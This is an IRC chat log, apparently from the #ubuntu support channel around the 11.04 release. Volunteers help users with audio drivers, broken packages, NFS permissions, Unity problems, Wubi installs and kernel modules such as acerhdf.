[23:23] <paranoidphreak> escott: no......i don't know how to do that; i'm able to connect to the server and see the files but i can't write to it unless i'm root; i want everyone to have 777 access that connects to the server
[23:23] <LjL> ikonia: only?
[23:23] <Omega> abadadon: It's a 382GB download
[23:24] <CoachJ> acicula: strange I dont have display in prefences
[23:24] <ikonia> excluding backports
[23:24] <ubuntunoob> i broke my sources
[23:24] <ikonia> LjL: a whole release is about 60GB
[23:24] <abadadon> Omega: okay, that's that then. thanks :D
[23:24] <acicula> zeleftikam, eh wipe, reinstall and troubleshoot with the existing drivers
[23:24] <ikonia> all archs/updates/repos/
[23:24] <kneaux> escott, i can't turn off mirror screens, that's the problem
[23:24] <hiexpo> ScreenIssues, not supported but install the ppas
[23:24] <acicula> CoachJ, yeah try monitors
[23:24] <escott> paranoidphreak, NFS requires that you have the same set of users on both systems.
[23:24] <Cairo|Mac> has anyone seen anything like this before?
[23:24] <Cairo|Mac> http://img233.imageshack.us/img233/8213/img3503a.jpg
[23:24] <LjL> abadadon: ikonia says it's smaller though... i'm not sure
[23:24] <ubuntunoob> how do i fix my sources.list??
[23:24] <zeleftikam> acicula: wipe the entire ubuntu installation i just put on??
[23:24] <Omega> A whore archive mirror is 382GB
[23:24] <ubuntunoob> im on 11.04
[23:24] <acicula> zeleftikam, can you give me the specific model of the card?
[23:24] <kneaux> escott, when i try it gives me that error and reverts
[23:24] <escott> paranoidphreak, and then it just uses the same permission model
[23:25] <openbees> kyubutsu: hope ressting panels in unity session will not effect ubuntu classic session ?
[23:25] <CoachJ> acicula: yea thats it, guess im too tired to be doing this. thks
[23:25] <ikonia> I'll check now
[23:25] <zeleftikam> acicula: i believe it's a Realtek ALC883 or 888, integrated onto a Gigabyte GA-G31M-ES2L motherboard. the chip is too tiny to read the exact model
[23:25] <sycko> Is there anyway to remove/reinstall the USB drivers for the keyboard and webcam?
[23:25] <openbees> kyubutsu: sorry "resetting"
[23:25] <acicula> zeleftikam, if you dropped in hardware drivers without a way of removing them properly any form of trouble shooting is somewhat pointless if your system uses some external drivers.
[23:25] <hiexpo> ScreenIssues, i am using 10.04 and using kernal 2.6.38.5
[23:25] <acicula> zeleftikam, if you type lspci in a terminal can you paste the line that contains Audio
[23:25] <dibs> I'm upgrading to Natty, should I keep my own debconf or go with package maintainers one??
[23:25] <Chipzzz> sycko: you might try lsdev & see if you have an interrupt conflict
[23:25] <escott> sycko, well the keyboard would be usbhid, but i wouldnt remove that because it would also be the mouse
[23:26] <escott> sycko, the webcam should have its own module or maybe some generic v4lusb module
[23:26] <ubuntunoob> can somone help me
[23:26] <acicula> zeleftikam, "lspci | grep Audio" will also give you the line i am looking for
[23:26] <ubuntunoob> i broke my sources
[23:26] <zeleftikam> acicula: 00:1b.0 Audio device: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 01)
[23:27] <yakubori> ubuntunoob: eh?
[23:27] <ubuntunoob> and i how do i fix them?
[23:27] <genitor> openbees: I fixed it!
[23:27] <acicula> zeleftikam thats not a realtek device
[23:27] <hiexpo> ubuntunoob, > how?
[23:27] <renegaid> anyone installed uubuntu in windows
[23:27] <zeleftikam> acicula: the motherboard has a realtek ALC chip on it...
[23:27] <ubuntunoob> i broke my sources and i need help fixing
[23:27] <ubuntunoob> them
[23:27] <kyubutsu> openbees: i do not know if this operation will affect all sessions globally
[23:27] <genitor> openbees: ctrl+alt+f1 and then type "unity --rest"
[23:27] <ubuntunoob> im on 11.04 natty narwhal
[23:27] <dibs> should you when updating generally stick with your own or go with maintainers when asked during upgrade process???
[23:28] <acicula> zeleftikam, can you post the entire output of lspci on pastebin?
[23:28] <zeleftikam> acicula: sure
[23:28] <egarff> sigh.  I wish whenever there was a new version of ubuntu, it wouldn't break suspend.
[23:28] <openbees> genitor : any bad effect on ubuntu classsic session ...because i can compromise with unity session but not with gnome session
[23:28] <zeleftikam> acicula: http://pastebin.com/htBPF82D
[23:28] <acecipher> dibs, if you've modified them on your own, keep it
[23:29] <paranoidphreak> escott: oh ok; thanks.....i'll do some research on that
[23:29] <escott> paranoidphreak, https://help.ubuntu.com/community/SettingUpNFSHowTo#User%20Permissions
[23:29] <yakubori> ubuntunoob: how are they 'broke'?
[23:29] <sycko> I think ill try a live CD and if that doesnt have the problem, a fresh install may fix the issue.
[23:29] <yakubori> did you lose them?
[23:29] <openbees> genitor : and should be  "unity - -reset" i think
[23:29] <Greensky> is there a way to dist upgrade and tell it to use packages off the cd you already dowloaded instead of re-downloading them?
[23:29] <genitor> openbees: I don't know tbh but since it looks like we have the exact same problem and it works for me now chances are it will work for you as well
[23:29] <paranoidphreak> escott: thanks for the link
[23:29] <acicula> zeleftikam, there is no realtek chip in that list
[23:29] <david8732> @Greensky there's an 'update' option on the CD.
[23:29] <ubuntunoob> yakubori: i get 404's and i cant download anything
[23:30] <kneaux> escott, trying to search for a config file with 1440 in it anywhere right now...
[23:30] <david8732> It didnt always work for me, though. On my laptop, it was unavailable.
[23:30] <Greensky> david88732, I was hoping to not actually have to burn the cd, just mount it
[23:30] <Greensky> sorry for not clarifying that
[23:30] <zeleftikam> acicula: i know. but google Gigabyte GA-G31M-ES2L and you'll see loads of information about the Realtek ALC88x audio chip on it
[23:30] <acicula> zeleftikam, you can see a chip on the motherboard that has realtek stamped on it?
[23:30] <Virunga> Hi, can i install x86 linux driver for my graphic card on ubuntu 64bit?
[23:30] <zeleftikam> acicula: yes
[23:30] <openbees> genitor: thanks let me try
[23:30] <yakubori> ubuntunoob: Well, you have internets, obviously... did you mess w/ any network files?
[23:30] <escott> acicula, intel_hda reports itself as all kinds of stuff it is snd_hda_intell
[23:30] <zeleftikam> acicula: the Realtek crab and everything
[23:30] <david8732> @virunga No. :/
[23:31] <acicula> zeleftikam, can you check the bios to see if this is enabled?
[23:31] <hiexpo> Greensky, i would recommend that you do a fresh install if you want to upgrade
[23:31] <dibs> acecipher: cheers mang
[23:31] <acicula> escott, you mean the realtek chip identifies as intel_hda?
[23:31] <tjiggi_fo> abadadon, https://help.ubuntu.com/community/Repositories/Personal see especially the links at bottom of page
[23:31] <escott> acicula, yes
[23:31] <Greensky> hiexpo, why? dist-upgrades have worked well for me for quite a long time, is something different this time?
[23:31] <zeleftikam> acicula: i don't recall a BIOS option for disabling the on-board audio
[23:31] <escott> Greensky, try apt-cdrom
[23:31] <Omega> I just calculated the size of i386 and it turns out to be around 8GB
[23:31] <Omega> Does that seem about right?
[23:32] <tixo5> hey
[23:32] <ubuntunoob> yakubori: i don't think so
[23:32] <zeleftikam> acicula: could this motherboard be bad? come to think of it, i have NEVER been able to get sound to work on it. I am installing Ubuntu because i couldn't get sound to work on it under Mac OS X 10.6.7
[23:32] <Virunga> david8732 thank you
[23:32] <escott> acicula, mine is 00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio (rev 06) but its Conextant in alsa
[23:32] <hiexpo> Greensky, no but through experience i have found it better to do a fresh     >    but to each is own
[23:32] <abadadon> tjiggi_fo: thanks
[23:32] <johnny77> Does anyone know why unity would not load in 11.04? I upgraded, but only get a background when I log into Ubuntu.
[23:32] <tixo5> guys, 11.04 upgrade issue, 2 broken packages i cant remove
[23:32] <yakubori> ubuntunoob: can you get to google.com/
[23:32] <tixo5> and are inhibiting me installing other pkgs
[23:32] <escott> zeleftikam, what sound problems are you having? no audio at all
[23:33] <zeleftikam> escott: no audio at all
[23:33] <ubuntunoob> yakubori: all my internet  works
[23:33] <yakubori> well where the heck are your sources pointed?
[23:33] <acicula> zeleftikam, escott  well i did find this : http://ubuntuforums.org/showthread.php?t=1729039
[23:33] <escott> zeleftikam, you could try fiddling with sound card internal config using hda_analyzer from alsa
[23:33]  * hiexpo store word bound
[23:33] <tixo5> sudo apt-get --purge remove [package] doesnt get rid
[23:34] <Sonjaaa> how do i tell maverick boot disc to use video card's dvi and not mobo's crt?
[23:34] <acicula> zeleftikam, but you have to revert back to ubuntu default and getting rid of any additional drivers you added, even if that means reinstalling ubuntu. It only takes 30 minutes anyway
[23:34] <david8732> @Sonjaaa I think that's an option in the BIOS on most computers...
[23:34] <paul> what is the general command for searching a whole drive for word/words
[23:34] <Chipzzz> tixo5: which packages?
[23:34] <genitor> openbees: let me know if it worked please :)
[23:35] <escott> paul, searching contents grep
[23:35] <LjL> paul: grep will work, but if you want to know which *files* contain those words, then you want a combination of find and grep
[23:35] <mbrigdan> Hey! I just updated to 11.04, and now, if I use "ubuntu" as a session, I don't get any desktop menus (but I do get my desktop icons). If I use "Ubuntu Classic", everything works fine. I'm assuming I'm having a problem with Unity?
[23:35] <paul> aha, find is what I'm thinking
[23:35] <Sonjaaa> david8732:  i didn't see anything in the bios that mentioned dvi or crt. might it be worded differently?
[23:35] <tixo5> Chipzzz: openoffice.org-draw
[23:35] <tixo5> happened after 11.04 upgrade
[23:35] <openbees> ohh so sweet ware u waiting  fro me ..ohh sorry
[23:35] <david8732> Sonjaaa, If i understand correctly, I think you need to disable your motherboard's graphic adapter.
[23:35] <Sonjaaa> david8732:  thanks
[23:35] <escott> tixo5, libreoffice
[23:36] <openbees> genitor : lolz
[23:36] <tixo5> yes libreoffice!
[23:36] <Sonjaaa> hehe i'm using the screen reader
[23:36] <david8732> I have a question about Libreoffice actually.
[23:36] <acicula> zeleftikam, from what i can gather you need to specifiy the model type for the snd_intel_hda
[23:36] <david8732> What's the major difference between it and OpenOffice? And is it more compatible with .pttx and .docx?
[23:37] <escott> acicula, zeleftikam that just applies some guesses about layout
[23:37] <zeleftikam> acicula: i don't know anything about that stuff. i was told Ubuntu was easy :(
[23:37] <el_seano> david8732: libre is a fork from ooffice due to some layer 8 issues with oracle
[23:37] <zeleftikam> escott: ^
[23:37] <acicula> zeleftikam, it is, most of the time
[23:37] <Omega> david8732: Yes, it is more compatible
[23:37]  * tommylommykins is looking for unity's system-tray. Does unity have one?
[23:37] <tommylommykins> I've minimised spotify, and now it appears to be lost
[23:37] <tixo5> The following packages have unmet dependencies.
[23:37] <tixo5>  openoffice.org-draw : Depends: libreoffice-draw but it is not installed
[23:37] <Omega> david8732: It is also being more actively developed
[23:37] <david8732> @omega Sweet. I had Openoffice screw up a powerpoint for school. :/
[23:37] <tixo5> its broken, how can i sort this
[23:38] <Omega> david8732: That sucks ): (especially that your school uses powerpoint)
[23:38] <ver> ehh, how do i share a directory via samba in natty?
[23:38] <openbees> genitor : actually its some updates are in process so i can't logout and login to unity session immediately..
[23:38] <escott> snd_hda_intel is pretty generic, lots of hardware has it, but each is configured slightly differently. the option provides some initial setup. so if you have it definitely use it/check most recent alsa. if you dont have it use hda_analyer to figure out the layout and forward to alsa people
[23:38]  * tommylommykins doesn't trust libre/openoffice with powerpoint
[23:38] <Omega> tixo5: install libreoffice-draw
[23:38] <zeleftikam> the alsa site is broken anyway, i can't download the driver or tools
[23:38] <tixo5> obviously doesnt work, its a broken package
[23:38] <zeleftikam> oh well i guess i'll buy a Mac
[23:38] <Omega> tommylommykins: libeoffice has much better compatability
[23:38] <zeleftikam> bye bye
[23:39] <david8732> @omega I had enough paranoia to boot Win7 and check it on Office 2010
[23:39] <david8732> @omega I still had to re-do most of the slides, though. :/
[23:39] <renegaid> i always found audio to be really poor in all lunux distros. don't understand why
[23:39] <Omega> renegaid: what'd the problem?
[23:39] <renegaid> 5.1 does not work. sound scratchy when adjusting audo
[23:40] <renegaid> just not the same
[23:40] <acicula> escott, i see people reporting that that works? would you suggest something else?
[23:40] <acicula> escott, ie like this http://ubuntuforums.org/showthread.php?p=4263007#post4263007
[23:40] <escott> acicula, reporting that hda_analyzer works? it does, but its bloody confusing at first
[23:40] <Omega> tixo5: go into a terminal and try sudo apt-get check
[23:40] <Chipzzz> renegaid: fwiw, I've had much better results with plain alsasound than with the pulseaudio that comes with Ubuntu
[23:40] <edbian> renegaid: Sounds to me like something is taking an audio signal and trying to force it into 5.1 sound.  could that be the case?
[23:40] <LjL> ikonia, abadadon: i must be doing something wrong. i listed the (compressed) package size for all packages in my apt-cache, and the total is short of 5gb =)
[23:41] <escott> acicula, it took me 2 months to get the hang of it (i wasn't trying that hard) and by then my board was fixed
[23:41] <nartkcin> is there a way to go back to 10.10 w/o a fresh new install?
[23:41] <escott> ie someone had sent the layout in to alsa and it got pulled in from upstream
[23:41] <escott> nartkcin, no
[23:41] <acicula> escott, well you have to edit a file in /etc/modprobe.d and add the specfic model option for snd-hda-intel
[23:41] <escott> acicula, yes you can do that, if the board is known
[23:41] <rcmaehl> >< 11.04 = so unstable I'm restarting X every 5 minutes
[23:41] <ubuntunoob> yakubori:  i need help fixing the list so it works again
[23:41] <acicula> escott, which is not very user friendly i admit, but the problem seems to lie in the hardware not reporting its type properly so it cant be autodetected?
[23:42] <radarwork_> how can i use my seahorse applet in unity?
[23:42] <deadaim> nartkcin: you should read http://castrojo.tumblr.com/post/4795149014/the-power-users-guide-to-unity
[23:42] <deadaim> nartkcin: unity is all bad
[23:42] <deadaim> nartkcin: especially if you have a small screen
[23:42] <nartkcin> yeah.. i login in classic mode
[23:42] <david8732> So I was looking in ccsm... Unity basically doesn't work without compiz?
[23:42]  * tommylommykins asks his question again :)
[23:42] <escott> acicula, and the abundance of new configurations. all new intel laptops have intel_hda, but they all have the headphones connected to a different port it seems
[23:42]  * tommylommykins is looking for unity's system-tray. Does unity have one?
[23:42] <tommylommykins> I've minimised spotify, and now it appears to be lost
[23:43] <vademecum> i'm in the middle of a major upgrade. all the files have been fetched and are being installed. but the battery on my netbook is going to run out ofjuice before it's. can I cancel out and restartwhen I get to some ac poeer later?
[23:43] <acicula> escott, we dont need those standards anyway, heh :/
[23:43] <xeodox> hey guys I just set up a fresh ubuntu 10 server and installed telnet. How come when I do "telnet localhost smtp" or "telnet localhost 25", I get "Connection refused"?
[23:43] <bob_> nartkcin: you can do a parallel install (I chose 10.04 LTS) and it repartitions you disk so you can copy anything from the other installation (if your disk is large enough)
[23:43] <acicula> vademecum, if its still fetching, yes, if its installing no
[23:43] <tommylommykins> vademecum: can you hibernate or suspend it?
[23:43] <FanControl> i have a problem with acerhdf. after installation, as i attempt "modprobe acerhdf", i get "fatal: error inserting acerhdf". does anyone here know why such a problem would occur?
[23:43] <m|kael> is it possible to have multiple wubi installations in windows? i want to try out kubuntu =)
[23:43] <ner0x> How can I change the Alt+F2 in Natty to something else?
[23:44] <ner0x> (Keyboard Shortcut)
[23:44] <acicula> FanControl, you are not root
[23:44] <david8732> nerox, click the power button on the top right, go to system settings.
[23:44] <david8732> Keyboard shortcuts.
[23:44] <vademecum> tommylommykins: i think so
[23:44] <ner0x> david8732: Thank you.
[23:44] <zeleftikam> acicula: i'm looking at the motherboard, it says Realtek ALC888B
[23:44] <FanControl> acicula: have attempted "sudo modprobe", as well as "sudo su", then modprobe - no luck!
[23:44] <dios_mio> who can help me with this: http://ubuntuforums.org/showthread.php?p=10753386 <-- about leyboard layouts and how they work in seperate windows
[23:45] <ner0x> david8732: It is not there. At least I don't see it.
[23:45] <acicula> zeleftikam, what i found is this http://ubuntuforums.org/showpost.php?p=4079102&postcount=11 and the followup post. From what i understand changing that /etc/modprobe.d/alsa-base file with the right model is all thats required
[23:45] <david8732> @nerox: scroll down and look for Alt+F2 under the shortcut column
[23:46] <ubuntunoob> will i have to reinstall
[23:46] <FanControl> acicula: i still get "FATAL: Error inserting acerhdf (/lib/modules/2.6.35-28-generic/updates/acerhdf.ko): Invalid argument"
[23:46] <ubuntunoob> to fix sources?
[23:46] <ner0x> david8732: I have it already set for "Switch to Desktop 2"
[23:46] <escott> acicula, zeleftikam check this first http://www.kernel.org/doc/Documentation/sound/alsa/HD-Audio-Models.txt
[23:46] <ner0x> david8732: It allows it, switches, and continues to bring up the "dash"
[23:46] <acicula> zeleftikam, the followup post suggests 6stack-dig model, so id start with that, but youll have to experiment a little
[23:46] <david8732> oh
[23:46] <david8732> @ner0x its 'show the panel's "Run Application Dialogue vox
[23:47] <redgone> anyone else also getting the "no video mode selected" error when booting 11.04 ?
[23:47] <Omega> dios_mio: click apply system wide
[23:47] <david8732> @nerox under the desktop category
[23:47] <acicula> zeleftikam, oh hey, there is an entire list of alc880 models, eh i guess some guessng is required :)
[23:47] <dios_mio> omega thanks man
[23:47] <escott> acicula, zeleftikam but i dont see the ALC888B listed so... you could try it as an alc880, but you may have to tweak it with hda_analyzer
[23:47] <acicula> FanControl, maybe modprobe has a verbose flag
[23:47] <zeleftikam> escott: what do i need that for? i can look right at the chip and tell you it says Realtek ALC888B
[23:47] <FanControl> acicula: will check!
[23:47] <allen_> Hi;  I have installed Wine and as I have in the past, would like to intsall a Windows program using a cdrom. I'm getting an error when I try to change the permissions for the exe files....I moved the exe file to the desktop and was able to change the permission to executable but the Wine program loader will not load it properly....I was able to run the cdrom using Wine in the past....do I use some commands to solve this problem?...Than
[23:47] <allen_> ks
[23:47] <david8732> @ner0x might want to intall ccsm and change the compiz settings, then
[23:48] <ner0x> david8732: ccsm?
[23:48] <escott> zeleftikam, those are the board/chip combos that the alsa developers have seen and developed working configs for. i'm saying i dont see yours on there, so you may have to pick something close and work from there
[23:48] <david8732> sudo apt-get install compizconfig-settings-manager
[23:48] <david8732> ^was @ner0x
[23:49] <zeleftikam> escott: it doesn't matter, the alsa ftp site is malfunctioning so i can't get it anyway
[23:49] <FanControl> acicula: with verbose flag [sudo modprobe acerhdf -v]: "insmod /lib/modules/2.6.35-28-generic/updates/acerhdf.ko
[23:49] <FanControl> FATAL: Error inserting acerhdf (/lib/modules/2.6.35-28-generic/updates/acerhdf.ko): Invalid argument"
[23:50] <Froq> so have any of you ever used the chameleon bootloader associated with OSx86?
[23:50] <escott> acicula, for a lot of hda problems you can direct people to http://www.alsa-project.org/main/index.php/Help_To_Debug_Intel_HDA
[23:50] <acicula> Failrar, whats your command line again
[23:50] <openbees> devid8732 , ner0x : warning ! i lost my launchers and panels after installing CCSm
[23:50] <openbees> in unity
[23:51] <FanControl> escott: thanks! will check that link out.
[23:51] <alex_mayorga> where can I ask about a PPA not building? https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
[23:51] <pfifo> is there anyway to disable a CPU core, or, somehow select what process run on which core
[23:51] <acicula> escott, thanks for that
[23:52] <escott> pfifo, http://www.cyberciti.biz/tips/setting-processor-affinity-certain-task-or-process.html
[23:52] <ner0x> What setting would I find it under?
[23:52] <edbian> pfifo: This is going to be frustrating for you.  A fellow student of mine was doing a multicore project last semester.  He DEFINITELY attached a pthread to a particular core.  It can be done.  I don't know how.
[23:52] <pfifo> escott, ok thanks
[23:52] <Froq> so have any of you ever used the chameleon bootloader associated with OSx86?
[23:52] <m|kael> is it possible to have multiple wubi installations in windows?
[23:52] <edbian> pfifo: Or what escott said.  hahaha
[23:52] <acicula> pfifo, its called taskset
[23:52] <dios_mio> Omega, that was a good advice, but unfortunately it makes no change.. maybe i need a reboot?
[23:52] <nzashadow> hello, I tried out the ubuntu 11.04 live on my stepdad's laptop and it froze on the desktop, anyone have any idea what's wrong?
[23:52] <edbian> m|kael: I'm sure you could hack it to work.  I'm guessing it is not easy.  Why do you want to?  Normal installs are much easier to do this sort of things
[23:53] <Jordan_U> m|kael: No.
[23:53] <escott> Froq, the only reason to use chameleon over grub is to run osx which we dont do because that would be illegal sorry
[23:53] <Jordan_U> escott: GRUB can load OSX too :)
[23:53] <m|kael> edbian: i have a netbook so cant use burned cd to install, the usb install always hang up... and i wanted to try out kubuntu=p
[23:53] <Chipzzz> nzashadow: Did you look through the logs for clues?
[23:54] <acicula> FanControl, whats your command for loading the module?
[23:54] <biston> good evening
[23:54] <david8732> @ner0x it would be under the Ubuntu Unity Plugin i think
[23:54] <edbian> m|kael: There are other ways to install Ubuntu.  Perhaps wubi is easiest.  One of the stranger ways is unetbootin.  Lets you boot an ISO without anything but your hdd
[23:54] <edbian> m|kael: https://help.ubuntu.com/community/Installation
[23:55] <nzashadow> not sure how, and all I could do was move the cursor around
[23:55] <pfifo> acicula, will this get me my desired result of disabling all process running on any core except core 0, with the other one/three idling?
[23:55] <zvacet> Jordan_U: yes,but it is still ilegal if you run hackintosh
[23:55] <acicula> pfifo, idk, try reading the mapage
[23:55] <acicula> *man page
[23:55] <edbian> m|kael: I think the only thing that wubi would mess up about is installing grub.  But you can change the config of grub to point to the multiple ubuntu installs each time.  I dont' know how easy or possible this is
[23:55] <nzashadow> gonna try again, he said his laptop doesn't like booting with his bluetooth usb
[23:55] <pfifo> acicula, yeah im going over docs now, just though you might know
[23:55] <nzashadow> so maybe that was the problem
[23:55] <edbian> m|kael: This all assumes the wubi installer will let you install to an NTFS partition that already has a wubi file on it (I think it will)
[23:55] <Chipzzz> nzashadow: alt-ctl-t will get you a terminal & you can dmesg or cat the logs
[23:55] <biston> i've been having some trouble for the last week updating my n900 (maemo based) repos... hash sum mismatch errors. and i was thinking of ways to solve it. i found a vmware image of maemo that i can run on vmware on one of my dedicated servers and it updates perfectly with no errors every single time. is there a way i can use that hosted maemo image as a mirror on my device ?
[23:55] <Jordan_U> m|kael: Don't try to do multiple Wubi installs. It *will* fail.
[23:56] <FanControl> acicula: i'm not sure. isn't it just: "insmod /lib/modules/2.6.35-28-generic/updates/acerhdf.ko"
[23:56] <acicula> pfifo, nope never used it
[23:56] <acicula> Fancontrol, no try modprobe acerhdf
[23:56] <mar> hello, i need advice on something, my screen resolution changes when i close my laptop...how can i fix that?
[23:56] <escott> !ot | biston
[23:56] <ubottu> biston: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:56] <Jordan_U> edbian: It won't, because multiple Wubi installs are expressly not supported.
[23:56] <biston> i know, but it's an apt based question
[23:56] <nzashadow> oh, well that will just make life easier knowing that anyways lol
[23:56] <Captainkrtek> can someone test something for me?
[23:56] <m|kael> edbian: couldnt i just do a backup of this wubi installation and then install kubuntu wubi
[23:56] <FanControl> acicula: have tried that already, unfortunatly!
[23:56] <edbian> Jordan_U: m|kael Well there's your answer
[23:56] <Captainkrtek> seems like a big
[23:56] <Captainkrtek> bug*
[23:56] <Captainkrtek> who here is using unity + natty?
[23:56] <m|kael> and then just replace the disk file after?
[23:56] <edbian> m|kael: See what Jordan_U said?
[23:57] <Captainkrtek> pm me if you're using unity + natty
[23:57] <edbian> Captainkrtek: I have it installed on my other machine
[23:57] <Chipzzz> nzashadow: or you can boot into a command line & look at the logs from the last run
[23:57] <Captainkrtek> edbian, could you test something for me?
[23:57] <acicula> FanControl, hmm, well its not being descriptive about why it fails, maybe there is something in dmesg?
[23:57] <biston> escott say i have ubuntu running on my desktop, having same problem, can it be done?
[23:57] <Captainkrtek> and may I pm you
[23:57] <edbian> Captainkrtek: yeah.  What is it?
[23:57] <biston> you know it's not off-topic...
[23:57] <acicula> FanControl, are you sure it should be loadable to begin with
[23:57] <nzashadow> alright, thank you :)
[23:57] <edbian> I'd rather not PM
[23:57] <Chipzzz> :)
[23:57] <Milos_SD> Hi! Is there a way to blur behind Unity launcher?
[23:57] <m|kael> edbian: will it fail even if i copy the virtual disk file and then replace it after ive tested kubuntu?
[23:57] <sweb> i have an old lap top sony ram 256, 1800 amd cpu .... wich ubuntu version good for that ?
[23:58] <nzashadow> Chipzzz: how do you boot into the command line?
[23:58] <Jordan_U> m|kael: How did you try to install Ubuntu via USB?
[23:58] <Captainkrtek> edbian, I PM'd you
[23:58] <PaidSupport> Would paying Canonical for support help me if the issue was in the kernel?
[23:58] <Jackslaps> Yo
[23:58] <mar> hello, i need advice on something, my screen resolution changes when i close my laptop...how can i fix that?
[23:58] <escott> biston, not trying to shoot you down just saying that sounds more like an n900 question, you will be lucky to find an answer on this channel
[23:58] <edbian> m|kael: I've never actually done it.  See what Jordan_U said?  I was just speculating how I might go about getting it to work. Ask Jordan_U for specifics about why it won't work.
[23:58] <Chipzzz> nzashadow: hold down shift while the machine is booting & you can select it from the grub menu
[23:58] <m|kael> Jordan_U: no with wubi, the usb always freeze before it can install
[23:58] <Jordan_U> PaidSupport: Probably would, but it depends on the exact situation.
[23:58] <acicula> PaidSupport, youd better put that question to canonical support/sales directly
[23:58] <nzashadow> ahhh thank you very much
[23:58] <Jordan_U> m|kael: How did you make the USB?
[23:58] <PaidSupport> kk
[23:58] <Chipzzz> :)
[23:58] <isarl> I've been having troubles with graphics and the nouveau drivers after my upgrade to 11.04.  I'm pretty sure the drivers are either not being used or not working properly at the moment.  How can I troubleshoot this?
[23:59] <edbian> m|kael: I linked you the other methods of installing. Take a look!
[23:59] <Gnea> PaidSupport: why don't you just ask the kernel people?
[23:59] <Jackslaps> Is anyone here using irssi as an irc client?
[23:59] <Jordan_U> !anyone | Jackslaps
[23:59] <ubottu> Jackslaps: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[23:59] <Ubuntuuser2011> is it just me or Ubuntu 11.04 is very unstable?
[23:59] <PaidSupport> Gnea: Because I'm new to linux. Don't know who the kernel people are
[23:59] <m|kael> Jordan_U: with the tool that comes with ubuntu on my desktop
[23:59] <nawk> !unity
[23:59] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[23:59] <shcherbak> Jackslaps: yup
[23:59] <nzashadow> I would like to know how stable ubuntu 11.04 is as well from the general consensus
[00:00] <FanControl> acicula: acicula: thanks for the percistancy! i suck at all this advanced stuff, but i simply have followed these instructions: "http://crunchbanglinux.org/wiki/howto/aspireone", regarding the section 'fan control'. will check dmesg now!
[00:00] <Jackslaps> Aight uh... is it possible to change the colors around?
[00:00] <Jackslaps> Or does it rely on the colors I choose for the terminal?
[00:00] <Gnea> PaidSupport: gotcha, well Linux by itself is open source, it's free, and the support, particularly for the kernel, is free. there are people who take care of the kernel setup for Ubuntu, and then there are the people who take care of the kernel itself.
[00:00] <FanControl> acicula: oh, and that link says it's loadable, yes!
[00:00] <shcherbak> Jackslaps: Sure, try: /j #irssi
[00:00] <crus> I have an ubuntu server and the normal MOTD text started doubling up.. i removed the /etc/motd file.. how do i regenerate it?
[00:00] <acicula> FanControl, did you custom build the kernel module or?
[00:00] <Jackslaps> Alright, thanks
[00:00] <acicula> crus, there is a script that generates it
[00:01] <acicula> crus, lets see if i can find it
[00:01] <crus> acicula: excellent! which script would that be?
[00:01] <Omega> dios_mio: What is the problem exactly?
[00:01] <Omega> you don't want new windows to start with a different layout?
[00:02] <acicula> crus, good question!
[00:02] <acicula> crus, still looking, heh
[00:02] <crus> acicula: thanks, me too! :D
[00:02] <Gnea> PaidSupport: unless you're some sort of corporate entity that requires a business-only solution where money is more important to getting a certain job than treating people with respect, then yes, perhaps paying conanical would be a better way to approach the situation.
[00:02] <isarl> Anybody around to help troubleshoot nouveau and graphics issues with 11.04?
[00:02] <frio80> Question.  I always get confused on permissions to use.  I want to create a APache accessible folder in /var/www but I always have to sudo which makes the user/group root.  What is the appropriate method or configuration to do this?
[00:03] <acicula> crus, man update-motd
[00:03] <ocx> i am not ablre to install sqlite3 saying cant find package using apt-get install sqlite3
[00:03] <PaidSupport> Gnea: I'm not. Just a home user with a laptop that the new kernel breaks
[00:03] <ocx> box is connected to the internet\\
[00:03] <ocx> \any hints?
[00:03] <crus> acicula: cheers!
[00:03] <FanControl> acicula: no, not at all! not on purpose, at least. eventhough i have modified the system some - due to a lot of bugs with ubuntu on acer aspire one! but anyways:
[00:04] <FanControl> acicula: [    0.000000] ACPI: SLIC 7f6bbe8a 00176 (v01 ACRSYS ACRPRDCT 06040000 acer 00000000)
[00:04] <FanControl> [   17.810201] acerhdf: Acer Aspire One Fan driver, v.0.5.25
[00:04] <FanControl> [   17.810294] acerhdf: unknown (unsupported) BIOS version Acer            /AO751h           /V0.3204, please report, aborting!
[00:04] <FloodBot3> FanControl: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:04] <isarl> This is the xorg.conf file I'm using, but nouveau isn't working properly: http://pastebin.ca/2052662  Any ideas?
[00:04] <acicula> FanControl, it seems that is the cause for your error
[00:04] <Gnea> PaidSupport: okay, then I would most certainly NOT recommend that you attempt to pay for support, but rather to take the time to listen to the help that people have to give, and hopefully take your own turn to try things out. If they break, they break, that's all part of the learning process.... and so is fixing those problems. :)
[00:04] <escott> !info sqlite
[00:04] <ubottu> sqlite (source: sqlite): command line interface for SQLite. In component main, is optional. Version 2.8.17-6build2 (natty), package size 16 kB, installed size 88 kB
[00:04] <acicula> FanControl, so your specific model is not, yet at least, supported by that driver
[00:04] <jgould> /help
[00:04] <jgould> er
[00:04] <FanControl> acicula: it does, yes! thanks for all the help!
[00:05] <p896gbm> what should i use to run ubuntu in a vm on ubuntu for development purposes?
[00:05] <PaidSupport> Gnea: Oh, I'm more than willing to do whatever it takes to get the bugs fixed. I'll type anything, and break anything, if the end result is a working linux laptop
[00:05] <Lesterwood> guys i need some networking help
[00:05] <Gnea> PaidSupport: of course, it's extremely beneficial to explain your situation clearly so that people have a better idea of how to help.
[00:05] <Lesterwood> how can i get a map of a network
[00:05] <Lesterwood> on linux
[00:05] <Aginor> p896gbm, I find that it works nicely to run ubuntu in virtualbox
[00:05] <FanControl> acicula: and have a nice evening or day! bye!
[00:05] <hiexpo> p896gbm, i like vmware myself
[00:05] <PaidSupport> Gnea: It's an acpi backlight issue. I've brought it up here a few times, but no one has any ideas
[00:06] <escott> !VirtualBox | p896gbm
[00:06] <ubottu> p896gbm: virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
